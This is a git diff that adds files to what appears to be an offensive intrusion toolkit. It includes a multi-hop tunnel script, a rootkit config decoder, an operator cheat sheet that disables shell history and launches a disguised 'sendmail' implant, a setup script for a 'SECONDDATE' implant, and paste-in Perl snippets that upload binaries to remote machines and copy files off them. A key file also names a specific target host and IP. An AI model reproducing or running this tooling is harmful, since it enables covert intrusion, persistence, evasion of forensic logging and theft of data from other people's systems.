+local($ltun_pid); +my($ltun_exe) = $^O eq "linux" ? ltun : stun; + +$ipIndex = 0; +$portIndex = 1; + +sub Gateway::new { + shift; + my($gw) = shift; + my($listener) = shift; + my($verbose) = shift; + + my($ip, $port) = split(/:/, $listener); + my($file) = "$ltun_exe @$gw[$ipIndex]:@$gw[$portIndex] $ip:$port"; + $ltun = new FileHandle or return null; + $ltun_pid = $ltun->open("$file |") or return null; + print $file . "\n"; + return bless {}; +} + +sub Gateway::read { + my($this) = shift; + my($verbose) = shift; + local($buf, $ltun_buf); + + $buf = ""; + $n = 0; + while (($n < 5) && ($_ = $ltun->sysread($ltun_buf, 80))) { + $buf .= $ltun_buf; + $n = split(/[\s+:]+/, $buf); + } + + print "$ltun_exe ==> $buf\n" if $verbose; + + return $buf; +} + +sub Gateway::connection { + my($this) = shift; + my($verbose) = shift; + + @stuff = split(/[\s+:]+/, $this->read($verbose)); + shift @stuff; + return @stuff; +} + +sub Gateway::stop { + kill 9, $ltun_pid; +} + +sub Gateway::done { + return $ltun->close; +} + +} + +{ +package Tunnel; + +local($tunnel); +local($tunnel_pid); + +$verbose = 0; +$defaultPort = "*"; + +sub Tunnel::new { + shift; + my($uselocal) = shift; + my($synflag) = shift; + my($gw) = shift; + my($remote) = shift; + my($listener) = shift; + my($target) = shift; + my($key) = shift; + + $trigtype = join ' ', "-s", int(rand 64512) if (defined($synflag)); + ($ip, $port) = split(/:/, $listener); + $listener = join(':', $ip, $defaultPort) if (!defined($port)); + + my($file) = ""; + $file = "keys=$key " if defined($key); + $file .= "tn $uselocal $trigtype -g $gw -c $remote -t $listener $target"; + + $tunnel = new FileHandle or return; + $tunnel_pid = $tunnel->open("$file 2>&1 |") or return; + print $file . "\n"; + return bless {}; +} + +sub Tunnel::check { + my($this, $verbose) = @_; + local($buf); + + while ($tunnel->sysread($buf, 1024)) { + print $buf if $verbose; + return 1 if grep /cannot connect to tunnel/, $buf; + } + return 0; +} + +sub Tunnel::stop { + kill 9, $tunnel_pid; +} + +sub Tunnel::done { + return $tunnel->close; +} + +} + +sub usage () { + local (@arg); + print "Usage: +tunnel [-l] [-syn [port]] [-gIp
] [-gPort ] \ + [-localIp
] [-localPort ] [-noInterface STR] \ + -key -tunnelIp
[-tunnelPort ] \ + -target
+ Repeat the key, tunnelIp, tunnelPort and target sequence for each + tunnel you need to establish. Must be in tunnel sequence. + +tunnel [-l] [-syn [port]] [-gateway ] [-local ] \ + [-noInterface STR] \ + -key -tunnel -target + Repeat the key and tunnel sequence for each tunnel you need to + establish. Must be in tunnel sequence. + +tunnel [-l] [-syn [port]] [-noInterface STR] -keys + -tunnels \ + -targets +\n"; +} + +sub ifaddr { + + return (split /[:\s+]+/, (`ifconfig @_ 2>&1`)[1])[3]; +} + +sub localIp { + local($if); + unless ($noInterface =~ /ppp/) { + return $if if defined($if = ifaddr ppp0); + return $if if defined($if = ifaddr ppp1); + } + unless ($noInterface =~ /eth0/) { + return $if if defined($if = ifaddr eth0); + return $if if defined($if = ifaddr eth1); + } + return; +} + +die usage if !defined(@ARGV); + +$PATH .=":.:/sbin"; # If not already set, add . to search PATH env. var. + +$defaultPort = "*"; +$defaultIp = "*"; +$defaultGatewayIp = ifaddr lo; +$defaultGatewayPort = $defaultPort; +$defaultLocalPort = $defaultPort; +$defaultTunnelIp = defaultIp; +$defaultTunnelPort = $defaultPort; + +$gatewayIndex = 0; +$ipIndex = 0; +$portIndex = 1; +$tunnelsIndex = 0; + +@opts = ("l!", \$uselocal, + "syn:i", \$synflag, + "verbose!", \$verbose, + "keys=s", \$keys, + "targets=s", \$targets, + "gateway=s", \$gateway, + "local=s", \$local, + "key=s", \@keys, + "tunnel=s", \@tunnels, + "target=s", \@targets, + "gIp=s", \$gatewayIp, + "gPort=s", \$gatewayPort, + "localIp=s", \$localIp, + "localPort=s", \$localPort, + "tunnelIp=s", \@tunnelIps, + "tunnelPort=s", \@tunnelPorts, + "tunnels=s", \$tunnels, + "help!", \$help, + "noInterface=s", \$noInterface, +); +$result = GetOptions(@opts); +die usage if (!$result || $help); + +if ( (defined($gatewayIp) || defined($gatewayPort)) && + defined($gateway) ) { + die "specify either -gIp and -gPort, or -gateway, but not both\n"; +} + +if ( (defined($localIp) || defined($localPort)) && + defined($local) ) { + die "specify either -localIp and -localPort, or -local, but not both\n"; +} + +if ( (defined(@tunnelIps) || defined($tunnelPorts)) && + (defined(@tunnels) || defined($tunnels)) ) { + die "Don't mix usage of -tunnels, -tunnels, -tunnelIp and tunnelPort\n", + "It just's makes it too complicated to figure out tunneling order\n"; +} + +if ( defined($targets) && defined(@targets) ) { + die "Don't mix usage of -target and -targets\n", + "It just's makes it too complicated to figure out the order\n"; +} + +if ( !defined($targets) && !defined(@targets) ) { + die "Where're we going? We need a final target destination\n" if usage; +} + +if ( defined(@keys) && defined($keys) ) { + die "Don't mix usage of -key and -keys\n", + "It just's makes it too complicated to figure out the order\n"; +} + +if ( $uselocal ) { + $uselocal="-l"; +} + +#if ( !defined(@keys) && !defined($keys) ) { +# die "Need to specify the incision key for each hop\n" if usage; +#} + +if ( defined($keys) ) { + push @keys, split(/[,\s+ ]+/, $keys); +} + +@gateway = ($defaultGatewayIp, $defaultGatewayPort); +if (defined($gatewayIp) || defined($gatewayPort)) { + @gateway[$ipIndex] = $gatewayIp if defined($gatewayIp); + @gateway[$portIndex] = $gatewayPort if defined($gatewayPort); +} elsif (defined($gateway) ) { + @gateway = split(/:/, $gateway); +} + +print "Using Gateway @gateway[$ipIndex]:@gateway[$portIndex]\n"; + +if ( !(defined($localIp) && defined($local)) ) { + $defaultLocalIp = localIp(); +} + +$tmp = join(':',$defaultLocalIp, $defaultLocalPort); +if (defined($localIp) || defined($localPort)) { + $tmp = join(':',defined($localIp) ? $localIp : $defaultLocalIp, + defined($localPort) ? $localPort: $defaultLocalPort); +} elsif (defined($local) ) { + $tmp = $local; +} +unshift @tunnels, $tmp; +$tunnelsIndex++; +print "Using local address ", @tunnels[$tunnelsIndex-1], "\n"; + +if (defined($targets)) { + push @targets, split(/,\s+/, $targets); +} + +if (defined($tunnels)) { + push @tunnels, split(/,\s+/, $tunnels); +} + +if (defined(@tunnelIps)) { + for ($i = 0; $i <= $#tunnelIps && $i <= $#tunnelPorts; $i++) { + push @tunnels, join(':', @tunnelIps[$i], + defined(@tunnelPorts) ? @tunnelPorts[$i] : + $defaultTunnelPort); + } +} + +# Start up gateway tunnel +$tunnelsIndex = 0; +($connectIP, $connectPort) = split(/:/, @tunnels[$tunnelsIndex]); +$connectPort = $defaultPort if ($connectPort == null); +print "Starting gateway:\n "; +$ltun = new Gateway \@gateway, @tunnels[$tunnelsIndex], $verbose; +STDOUT->autoflush(1); +$|=1 ; +($gatewayIP, $gatewayPort, $remoteIP, $remotePort) = $ltun->connection($verbose); +$gateway = join(':', $gatewayIP, $gatewayPort); +if ( (@gateway[$ipIndex] ne $gatewayIP) || + ((@gateway[$portIndex] ne $defaultPort) && + (@gateway[$portIndex] != $gatewayPort)) ) { + print "Gateway Ip address does not match what was supplied\n" if $verbose; + print "@gateway[$ipIndex]:@gateway[$portIndex] != $gateway\n" if $verbose; +} + +$keyIndex=0; +$Tunnel::verbose = $verbose; +for ($i = $tunnelsIndex+1; $i <= $#tunnels; $i++) { + + print "Starting tunnel ", $i-1,"\n "; + undef $key; + if (defined(@keys[$keyIndex])) { + $key = @keys[$keyIndex++]; + } + $tunnel = new Tunnel $uselocal, $synflag, $gateway, join(':', $remoteIP, $remotePort), @tunnels[$i], @targets[$i-1], $key; + # Change use of uselocal. Use for all instances not just the first + # undef $uselocal; # don't need it after the first time. + die if $tunnel->check($verbose | $i > $#keys+1); + $tunnel->done; + + ($localIP, $localPort, $remoteIP, $remotePort) = $ltun->connection($verbose); + if ($remoteIP eq "0.0.0.0") { + local($term) = new Term::ReadLine $0; + local($prompt) = "Enter tunnel's listening IP address: "; + local($OUT) = $term->OUT || STDOUT; + warn "\nI need the Ip Address to establish the listening side of the tunnel for ", + "target = ", @targets[$i-1], ", key = ", @keys[$keyIndex-1], "\n"; + undef $_; + while (!length) { + if ( !defined($_ = $term->readline($prompt)) ) { + $ltun->stop; + exit; + } + } + $remoteIP = $_; + } + +} + +($connectIP, $connectPort) = split(/:/, @tunnels[$#tunnels]); +$|=1 ; +print "\nNow copy and paste the following line\n"; +print "\n\n"; +undef $file; +$file = "keys=@keys[$keyIndex] " if defined(@keys[$keyIndex]); +#$trigtype = join ' ', "-s", int(rand 64512) if (defined($synflag)); + +if (defined $synflag) { + $trigtype = join ' ', "-s", $synflag; + $trigtype = join ' ', "-s", int(rand 64512) if ($synflag == 0); +} + +$file .= "./ftshell ./tn $uselocal $trigtype -g $gateway -c $remoteIP:$remotePort -n @targets[$#targets] "; +print $file, "\n\n"; + +$ltun->read($verbose); + +print "$ltun_exe exited\n" if $ltun->done; + diff --git a/Linux/bin/uX_local b/Linux/bin/uX_local new file mode 100755 index 0000000..86f8647 Binary files /dev/null and b/Linux/bin/uX_local differ diff --git a/Linux/bin/uconf b/Linux/bin/uconf new file mode 100755 index 0000000..26b3ea1 --- /dev/null +++ b/Linux/bin/uconf @@ -0,0 +1,13 @@ +#!/usr/bin/env perl +use File::Basename; +$prog = basename $0 ; +die("Usage: $prog \n\n$prog unmunges *conf.inv rootkit config files.\n\nuconf v1.0.0\n") + if (!$ARGV[0] + or $ARGV[0] eq "-h" + or defined $ARGV[1] + or !(-e $ARGV[0]) + ); +open (BOB, "$ARGV[0]") or die("Cannot open $ARGV[0]: $!"); +binmode (BOB); +print STDOUT ~$cdd while (read (BOB, $cdd, 1)) ; + diff --git a/Linux/bin/ug b/Linux/bin/ug new file mode 100755 index 0000000..82bdc0c --- /dev/null +++ b/Linux/bin/ug @@ -0,0 +1,5 @@ +#!/bin/sh +MORE="" +[ "$1" ] && MORE="+/$1" +[ "`basename $0`" = "ugs" ] && MORE="+/ssh.*MASQTUNNEL_PORT" +vi /current/doc/user.mission.generic* $MORE diff --git a/Linux/bin/ugs b/Linux/bin/ugs new file mode 120000 index 0000000..44c6351 --- /dev/null +++ b/Linux/bin/ugs @@ -0,0 +1 @@ +ug \ No newline at end of file diff --git a/Linux/bin/unfindzip b/Linux/bin/unfindzip new file mode 120000 index 0000000..b57c2c9 --- /dev/null +++ b/Linux/bin/unfindzip @@ -0,0 +1 @@ +findzip \ No newline at end of file diff --git a/Linux/bin/useful b/Linux/bin/useful new file mode 100755 index 0000000..dd4cd43 --- /dev/null +++ b/Linux/bin/useful @@ -0,0 +1,34 @@ +#!/usr/bin/env perl +$SIG{INT} = \&my_exit; +$SIG{TERM} = \&my_exit; +print <<"EOF" + +One or more of these might be useful (BLUE==local YELLOW==remote) + +unset HISTFILE +unset HISTFILESIZE +w ; ls -lart / +pwd ; date ; date -u +ls -al /root/.*history ; tail /root/.*history ; ls -al /.*history ; tail /.*history +HOME="" which uudecode uncompress perl ; uname -a + +ps -ef + +~~p +/current/up/noserver sendmail + +ls -lart | tail +chmod 700 sendmail&&netstat -an|grep 25610.*LISTEN || (PATH=. D=-ul25610 sendmail || cat /dev/null > sendmail) +ls -lart | tail + + + +^C will kill this window, or it will die when ourtn exits (BLUE==local YELLOW==remote) +EOF + +; +sleep ; + +sub my_exit { + exit +} diff --git a/Linux/bin/userscript.SD b/Linux/bin/userscript.SD new file mode 100755 index 0000000..50e028e --- /dev/null +++ b/Linux/bin/userscript.SD @@ -0,0 +1,310 @@ +#!/bin/sh +# +# SD User script: +# Script to set up user env for SD +# +# Changelog: +# 12/08/10 -- Created script +# 05/18/11 -- Added warnings for blockme commands, can now be used with any current version in clients dir +# 08/25/11 -- Added functionality to work with FW SD clients +# 08/25/11 -- Removed Blockme commands, unneeded now. +# 09/19/12 -- Added BG3100 support +# 03/28/13 -- Added underscore delimiters on *$VER* pastable and use of autologtool + +VER=1.0.0.4 +loop1=0; +dummy=0; +source=`mkrandom -n 1025 65535` +dest=`mkrandom -n 1025 65535` + + +echo "" +echo "" +echo "" +echo "-----------------------------------------------------------------" +echo "| |" +echo "| WELCOME TO SECONDATE |" +echo "| |" +echo "-----------------------------------------------------------------" +echo "" +echo "" + + +while [ "$loop1" = "0" ]; do +echo "Seconddate versions supported:" +echo "" +echo "Supports FW secondates. Enter 'FW' to get the menu." +echo "" +ls -1 /current/bin/seconddate_clients +echo "" +echo "" +echo "Enter the version number only: 1.7.0.1 , 1.7.0.2 , 1.7.0.3 , 1.7.0.4 , 1.7.0.5 , 1.7.0.6 " + + echo -n "What version of SD are you connecting to ?: " + read _SDVER + let loop1=$loop1+1 + if [ "$_SDVER" = "" ]; then + let loop1=$loop1-1 + elif [ "$_SDVER" = "FW" ]; then + echo "" + echo "Currently only 4 different SecondDateLp binaries." + echo "BG3100 , BG3000 , BLATSTING 1.6.1.2x , and BLATSTING 2.x.x.xx" + echo "" + echo "" + echo "" + echo "BG3100" + echo "BG3000" + echo "BLAT_1.6" + echo "BLAT_2.x" + echo "" + echo "Which FW implant are you connecting to ?: " + read _SDFWVER + if [ "$_SDFWVER" = "" ]; then + let loop1=$loop1-2 + fi + fi + + echo -n "Enter Project Name(required): " #MANDO FIELD + read _P1 + let loop1=$loop1+1 + if [ "$_P1" = "" ]; then + let loop1=$loop1-1 + fi + echo "" + echo "" + echo -n "Enter IP Address of SD target(required): " #MANDO FIELD + read _I1 + let loop1=$loop1+1 + if [ "$_I1" = "" ]; then + let loop1=$loop1-1 + fi + + echo -n "Are you on the SD target and want to send the SD traffic out of the target to another IP? (y,[n])? " + read _diffIPa + case $_diffIPa in + y*|Y*) echo "" + echo "" + echo "" + echo -n "What spoof IP will you be sending the packets to: " + read _diffIP + dummy=1;; + *) ;; + esac + echo -n "Enter Host Name(required): " #MANDO FIELD + read _H1 + let loop1=$loop1+1 + if [ "$_H1" = "" ]; then + let loop1=$loop1-1 + fi + +# echo -n "Enter Tunnel IP Address(127.0.0.1): " #MANDO FIELD +# read _LP1 +# let loop1=$loop1+1 + # if [ "$_LP1" = "" ]; then +# _LP1=127\.0\.0\.1 +# fi + + echo -n "Enter Tunnel IP Address(127.0.0.1): " #MANDO FIELD + read _Implant1 + let loop1=$loop1+1 + if [ "$_Implant1" = "" ]; then + _Implant1=127\.0\.0\.1 + fi + if [ "$_Implant1" != "127.0.0.1" ]; then + echo -n "Are you sure you do not want to use 127.0.0.1 (y,n)?" + read _answer + if [ "$_answer" = "" ]; then + answer=n + fi + case $_answer in + n*|N*) echo "Ok...chaning to 127.0.0.1" + _Implant1=127\.0\.0\.1;; + *) echo "Ok..hope you know what you are doing...do not direct connect to target.";; + esac + fi + + + echo -n "Enter Directory of SD files(regex, inject, ect..): " #MANDO FIELD + read _Dir1 + let loop1=$loop1+1 + if [ "$_Dir1" = "" ]; then + _Dir1=/current + fi + + echo -n "Enter Source Port(RHP) to use($source): " #MANDO FIELD + read _Source1 + let loop1=$loop1+1 + if [ "$_Source1" = "" ]; then + let _Source1=$source + fi + + echo -n "Enter Dest Port(RHP) to use($dest): " #MANDO FIELD + read _Dest1 + let loop1=$loop1+1 + if [ "$_Dest1" = "" ]; then + let _Dest1=$dest + fi + + if [ $loop1 != 8 ]; then + echo "" + echo "" + echo "Oh no!! You screwed something up." + echo "" + echo "Please try again." + echo "" + echo "" + let loop1=0 + fi +done + +# Set command line based on version +if [ "$_SDVER" = "1.3.0.1" ]; then + spacer=' ' + elif [ "$_SDVER" = "1.5.1.2" ]; then + spacer=' ' + elif [ "$_SDVER" = "1.5.1.3" ]; then + spacer=' ' + elif [ "$_SDVER" = "1.6.2.3" ]; then + spacer=' ' + elif [ "$_SDVER" = "FW" ]; then + if [ "$_SDFWVER" = "BG3100" ]; then + spacer=':' + else spacer=' ' + fi + else spacer=':' +fi + + +_TIME=`date +%Y%m%d%k%M` #timestamp if we ever need it + +cd $_Dir1 +echo "" +echo -n "CWD has been set to: "; pwd +echo "" +touch /current/down/SD_SETUP.info.$_H1.$_I1 +echo "This is the information used to talk with SD" > /current/down/SD_SETUP.info.$_H1.$_I1 +# +# Testing for presence of dupe file...renaming if required. +# savelog is really nice, but not on every system, so we use stupid +# mv instead and append the PID to it! +# We'll touch the script here too and then run a few commands +# "Script" will append to this file later on... + +# Now we start putting stuff in it... +# + +echo "" | tee -a /current/down/SD_SETUP.info.$_H1.$_I1 +echo "DateTime: $_TIME" | tee -a /current/down/SD_SETUP.info.$_H1.$_I1 #uncomment this to incl timestamp in log +echo "" | tee -a /current/down/SD_SETUP.info.$_H1.$_I1 +echo "#project: $_P1" | tee -a /current/down/SD_SETUP.info.$_H1.$_I1 +echo "#ip: $_I1" | tee -a /current/down/SD_SETUP.info.$_H1.$_I1 +echo "#hostname: $_H1" | tee -a /current/down/SD_SETUP.info.$_H1.$_I1 +echo "#Spoof IP: $_diffIP" | tee -a /current/down/SD_SETUP.info.$_H1.$_I1 +echo "#Tunnel IP: $_Implant1" | tee -a /current/down/SD_SETUP.info.$_H1.$_I1 +echo "#SD Version: $_SDVER" | tee -a /current/down/SD_SETUP.info.$_H1.$_I1 +echo "#SD Directory: $_Dir1" | tee -a /current/down/SD_SETUP.info.$_H1.$_I1 +echo "#Source Port: $_Source1" | tee -a /current/down/SD_SETUP.info.$_H1.$_I1 +echo "#Dest Port: $_Dest1" | tee -a /current/down/SD_SETUP.info.$_H1.$_I1 +echo "" | tee -a /current/down/SD_SETUP.info.$_H1.$_I1 + + + + +# Now we are going to make your log directory + +# Once that craziness is finished, we can start the script up. Contents will append +# to the existing "touched" file. We had to do this since script actually forks off +# into it's own little world and will not allow other commands to be run until +# the script is stopped. +# + +echo "Your redirection line is as follows:" +echo "------------------------------------" +echo "Unix:" +echo "-tunnel" +case $dummy in + 0) echo "u $_Dest1 $_I1 $_Dest1 $_Source1";; + 1) echo "u $_Dest1 $_diffIP $_Dest1 $_Source1";; + *) echo "Something screwed up, you SHOULD now your tunnel";; +esac + +if [ "$_SDFWVER" = "BG3100" ]; then + _PATH='/current/bin/seconddate_clients/seconddate_CommonClient_2.0.4.6_i386-linux' + elif [ "$_SDFWVER" = "BG3000" ]; then + _PATH='/current/bin/FW/BG3000/Install/LP/SecondDateLP*' + elif [ "$_SDFWVER" = "BLAT_1.6" ]; then + _PATH=`md5sum /current/bin/FW/*/LP/SecondDate-3.1.1.0.SecondDateLp | grep 3a997be73263167202a03140cead2380| head -1 | cut -d ' ' -f 3` + elif [ "$_SDFWVER" = "BLAT_2.x" ]; then + _PATH=`md5sum /current/bin/FW/*/LP/SecondDate-3.1.1.0.SecondDateLp | grep 432eafcca75282cf4f2e3ae6f9eea9e6 | head -1 | cut -d ' ' -f 3` + else _PATH='NONE' +fi + +if [ "$_PATH" = "NONE" ]; then + echo "" + echo "" + echo "" + echo "Here is your SD line to paste." + echo `ls -1rt /current/bin/seconddate_clients/*${_SDVER}_* | tail -1` $_Implant1$spacer$_Dest1 + echo "" + echo "" + echo "" +else + echo "" + echo "" + echo "" + echo "Here is your SD line to paste." + echo "$_PATH $_Implant1$spacer$_Dest1" + echo "" + echo "" + echo "" +fi + +echo "Use CTRL D to stop the script once you are done." +echo "" + +/usr/bin/script -af /current/down/script.seconddate."$_H1.$_I1" + + + + +echo "" | tee -a /current/down/script.seconddate."$_H1.$_I1" +echo "DateTime: $_TIME" | tee -a /current/down/script.seconddate."$_H1.$_I1" +echo "" | tee -a /current/down/script.seconddate."$_H1.$_I1" +echo "#project: $_P1" | tee -a /current/down/script.seconddate."$_H1.$_I1" +echo "#ip: $_I1" | tee -a /current/down/script.seconddate."$_H1.$_I1" +echo "#hostname: $_H1" | tee -a /current/down/script.seconddate."$_H1.$_I1" +echo "" | tee -a /current/down/script.seconddate."$_H1.$_I1" +echo "" | tee -a /current/down/script.seconddate."$_H1.$_I1" + + +# We are done + + +# Log it if we can +if [ -x "/current/etc/autologtool" ] ; then + echo "" + echo "" + echo "" + STATUS=`egrep -l "^.SUCCESS|Synchronize success" /current/down/script.seconddate."$_H1.$_I1"` + if [ "$STATUS" ] ; then + STATUS=SUCCESSFUL + else + STATUS=FAILED + fi + echo "Logging your use of SECONDDATE $_SDVER with autologtool" + /current/etc/autologtool -T "$_H1.$_I1" -u ACCESSED -s $STATUS -n SECONDDATE -V $_SDVER +fi + +echo "" +echo "Thanks for playing... bye" +echo "" + + + + + +# +echo "" +# This next command will whack whatever we spawned from this +kill 0 +#EOF diff --git a/Linux/bin/uudecode.pastable b/Linux/bin/uudecode.pastable new file mode 100755 index 0000000..cc5499b --- /dev/null +++ b/Linux/bin/uudecode.pastable @@ -0,0 +1,157 @@ +#!/bin/sh +PROG=`basename $0` +VERSION=2.1.0.1 +COLOR_SUCCESS="\\033[1;32m" +COLOR_FAILURE="\\033[1;31m" +COLOR_WARNING="\\033[1;33m" +COLOR_NORMAL="\\033[0;39m" +COLOR_NOTE="\\033[0;34m" +usage () { + echo -e " +${COLOR_NOTE}Usage:${COLOR_NORMAL} + +$PROG [ -s ] localname [ remotename ] + + Where localname is a local binary that needs to be uuencoded + locally and decoded elsewhere via perl as remotename, where + remotename defaults to sendmail. + + NOTE: $PROG does not deal with compression at all--that is up + to the user whether the localname file used is compressed. + + $PROG uuencodes the local file and brings up a gedit + window editing the resulting uuencoded data. + + $PROG then echos to stdout (${COLOR_NOTE}in blue${COLOR_NORMAL}) the \"perl -e\" + commands to paste into the remote window. + +OPTIONS + +-s Do not echo \"stty\" commands (use this when your pseudo-shell + cannot handle them). + +${COLOR_NOTE}$PROG Version $VERSION${COLOR_NORMAL} + +" + [ "${*}" ] && echo -e "${COLOR_FAILURE}$PROG FATAL ERROR: ${*}${COLOR_NORMAL}" + exit +} +# Defaults +DEFREMOTENAME=sendmail + +while [ "${1:0:1}" = "-" ]; do + # process -args + case ${1:1:1} in + "v") echo "$PROG version $VERSION" + exit + ;; + "h") usage + ;; + "s") NOSTTY=1 + shift + ;; + *) + usage "Argument not recognized: $1" + ;; + esac +done + +if [ "$1" ] ; then + LOCALNAME=$1 + REMOTENAME=$2 + [ "$3" ] && usage "Too many parameters." + [ "$REMOTENAME" ] || REMOTENAME=$DEFREMOTENAME + [ -w "/current/up" ] || usage "Cannot write to /current/up" + if [ -e "$LOCALNAME" ] ; then + chmod +x $LOCALNAME + if [ "`file $LOCALNAME 2>&1 | grep compress`" ] ; then + UNCOMPRESS="" + fi + uuencode $LOCALNAME $REMOTENAME > /current/up/${REMOTENAME}.uu + [ `which gedit 2>/dev/null` ] && GEDIT="gedit /current/up/${REMOTENAME}.uu" + BYTES=`egrep -v "begin|end" /current/up/${REMOTENAME}.uu | wc -c` + else + usage "$LOCALNAME does not exist" + fi +else + usage "Bad syntax." + exit 1 +fi +if [ "$NOSTTY" ] ; then + sed "s/ followed by a stty echo command//g" $0 | sed "s/...stty echo//g" \ + | sed "s/stty -echo.....//g" > /tmp/tmppaste.$$ +else + cp -f $0 /tmp/tmppaste.$$ +echo +fi +tail --lines=+`grep -n DIRECTIONS\: /tmp/tmppaste.$$ | cut -f 1 -d ":"` /tmp/tmppaste.$$ | \ + sed "s/UNCOMPRESS/$UNCOMPRESS/g" | \ + sed "s/VERSION/$VERSION/g" | \ + sed "s/BYTES/$BYTES/g" | grep "^### " + +echo -en $COLOR_NOTE +tail --lines=+`grep -n DIRECTIONS\: /tmp/tmppaste.$$ | cut -f 1 -d ":"` /tmp/tmppaste.$$ | \ + sed "s/UNCOMPRESS/$UNCOMPRESS/g" | \ + sed "s/VERSION/$VERSION/g" | \ + sed "s/BYTES/$BYTES/g" | grep -v "^###" + +echo -en $COLOR_NORMAL +tail --lines=+`grep -n DIRECTIONS\: /tmp/tmppaste.$$ | cut -f 1 -d ":"` /tmp/tmppaste.$$ | \ + sed "s/UNCOMPRESS/$UNCOMPRESS/g" | \ + sed "s/VERSION/$VERSION/g" | \ + sed "s/BYTES/$BYTES/g" | grep "^#### " + +[ "$NOGEDIT" ] || $GEDIT + +rm -f /tmp/tmppaste.$$ +exit +### DIRECTIONS: uudecode.pastable version VERSION +### +### Paste following perl code starting with the line containing: +### "stty -echo && perl -e" +### (be sure never to add lines in perl code using single quote), and +### ending with line containing terminating single quote (the last non +### comment line): +### ' ; stty echo +### inclusive. If perl does not exist, you will see that error after +### pasting through terminating single quote. +### +### Then paste to same window your uuencoded data (include begin and end). +### Unless disabled with the -s option, the stty -echo command means you +### will not see uuencoded data fly by. +### +### If the file you are writing already existed, it is moved to some other +### non-existent file before yours is written. You will then be given the +### mv command to put it back when all done. +### +### START HIGHLIGHTING WITH FOLLOWING LINE +stty -echo && perl -e 'chomp($d = `pwd`) ; $| = 1 ; +die "\n\nCANNOT RUN FROM /\a\n\n" if ( "$d" eq "/" ) ; +$_ = <> until ($m,$of) = /^begin\s(\d*)\s*(\S*)/; +if (-e $of) { $tf=$of ; while (-e $tf) { $tf .= "$$"; } `mv $of $tf` ; } +if (! open (OUT,"> $of")) { + warn "\n\nCould not open \"$of\" for write. Flushing STDIN and aborting.\a\n\n" ; + $w=" and threw away\a"; } +while (<>) { last if /^end/; next if /a-z/ ;$bytes += length ; next if $w ; + next unless int ((((ord() - 32) & 077) + 2) / 3) == int(length() / 4); + print OUT unpack ("u",$_) ;} +close (OUT);print "\n\nRead$w $bytes uuencoded bytes\n\n"; exit if $w ; $c = 3 ; +if ($bytes != BYTES) { while ($c) { sleep 1 ; + print "\n\aERROR: Should be BYTES bytes.\n\n" ; $c-- } } +chmod oct $m, $of ; $c = 3 ; if ($tf) { while ($c) { + print "\nHad to change their file $of to $tf ($of existed already).\n\a"; + $c-- ; sleep 1 } } print "Just created $of:\n +ls -al $of*\n" . `ls -al $of*` . "\nDO NOT FORGET\n\nrm $of\n\n"; +print "mv $tf $of\nls -al $of*\n\n" if $tf; +' ; stty echo +#### STOP HIGHLIGHTING, BUT INCLUDE ENTIRE LINE ABOVE WITH A SINGLE +#### QUOTE followed by a stty echo command +#### +#### Now use the gedit window provided showing your .uu file. Use +#### the mouse to //Edit//Select All, and then middle button to paste +#### into window you just pasted "perl -e" program into. If all goes +#### well you will see a listing of the newly created file just +#### uudecoded and the perl execution will terminate. The number of +#### uuencoded bytes read by perl at the remote end should match this: +#### +#### uuencoded bytes=BYTES diff --git a/Linux/bin/uudeview b/Linux/bin/uudeview new file mode 100755 index 0000000..c90b3f7 Binary files /dev/null and b/Linux/bin/uudeview differ diff --git a/Linux/bin/uuencode.pastable b/Linux/bin/uuencode.pastable new file mode 100755 index 0000000..37fd284 --- /dev/null +++ b/Linux/bin/uuencode.pastable @@ -0,0 +1,87 @@ +#!/bin/sh +[ "$1" = "-v" ] && echo "$0 version 1.1.0.1" && exit + +STARTLINE=`grep -n DIRECTIONS $0 | tail -1 | cut -f 1 -d ":"` +PROG=`basename $0` +USAGETEXT=" +Usage (locally): + $PROG [noecho] file1 [file2 ...] + + file1 [file2 ...] + files on remote system to uuencode. These should be the full path + name or relative to the remote system's current directory. The + uuencoded output will decode to a file in ./ with every '/' + replaced with a '_'. E.g., '/bin/sh' will be locally decoded as + './_bin_sh'. + + noecho + with this option, uuencoded output is sent to files on remote + system. Otherwise, the default is to echo the uuencoded output, + which can then be retrieved from scripted output or terminal logging. + + $PROG is run locally to give a (very long) command line to + paste to a remote system's perl interpreter. This command uses perl to + uuencode files on the remote system. After uudecoding on this end, + files are a few bytes longer. Commands are provided to run locally + (split, mv, etc.) to uudecode and recover the correct length file. +" +if [ "$1" = "noecho" ] ; then + shift + tail --lines=+$STARTLINE $0 | sed "s#FILES#${*}#g" | sed "s#echo=\"y\"#echo=\"n\"#g" ; + exit +fi +if [ "${*}" = "" ] || [ "$1" = "-h" ] || [ "$1" = "--help" ] ; then + echo "$USAGETEXT" + exit +fi +tail --lines=+$STARTLINE $0 | sed "s#FILES#${*}#g"; +exit +### DIRECTIONS (uuENcode.pastable): +### +### You might want to do this if you have which available: + which perl +### Paste following perl code starting with "perl -e" line and ending with +### the line containing terminating single quote. +### +### START HIGHLIGHTING WITH FOLLOWING LINE +perl -e '@files = split (/ +/,"FILES"); +$echo="y"; +while ($file = shift @files) { + if (! -e $file ) { warn "no such file $file...\n"; next; } + $size = -s _ ; + $newname = $file; $newname =~ s/\//_/g; + if ( $echo eq "y") { + $echo=" to stdout"; select STDOUT; + } elsif (! open (OUT,"> ./$newname.uu") ) { + warn "cannot creat ./$newname.uu...\n"; + next; + } else { + select OUT; + } + if (! open (IN, "< $file") ) { + close (OUT); unlink ("./$newname.uu") unless $echo; + warn "cannot open $file for read\n"; + next; + } + print "begin 700 ./$newname\n"; + while ($count = read(IN,$buf,900) ) { + $buf .= "\0" while (length ($buf) % 3); print pack("u",$buf); + } + print "end\n"; + close (OUT); select STDOUT; + print "\nwrote $newname.uu$echo:\n\nAt other end:\n + uudecode $newname.uu\n mv $newname $newname.long + split -b $size $newname.long\n mv xaa $newname\n rm -f xaa xab\n\n +"; + if ($echo eq "n") { + print " + ls -al @files ./$newname*\n"; + print `ls -al @files ./$newname*`; + } +} # end while @ARGV +' + +### STOP HIGHLIGHTING, BUT INCLUDE ABOVE LINE WITH SINGLE QUOTE + +### When pasted (unless noecho option used) you will see the uuencoded +### output scroll by. Be sure you have a way to retrieve it. diff --git a/Linux/bin/varkeys/intonation/bgl1dr1-a-fixed.sancharnet.in___61.1.128.17/incision b/Linux/bin/varkeys/intonation/bgl1dr1-a-fixed.sancharnet.in___61.1.128.17/incision new file mode 100644 index 0000000..ab49b0a --- /dev/null +++ b/Linux/bin/varkeys/intonation/bgl1dr1-a-fixed.sancharnet.in___61.1.128.17/incision @@ -0,0 +1,4 @@ +INTONATION___bgl1dr1-a-fixed.sancharnet.in___61.1.128.17___20040323-141833() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="36eb9564 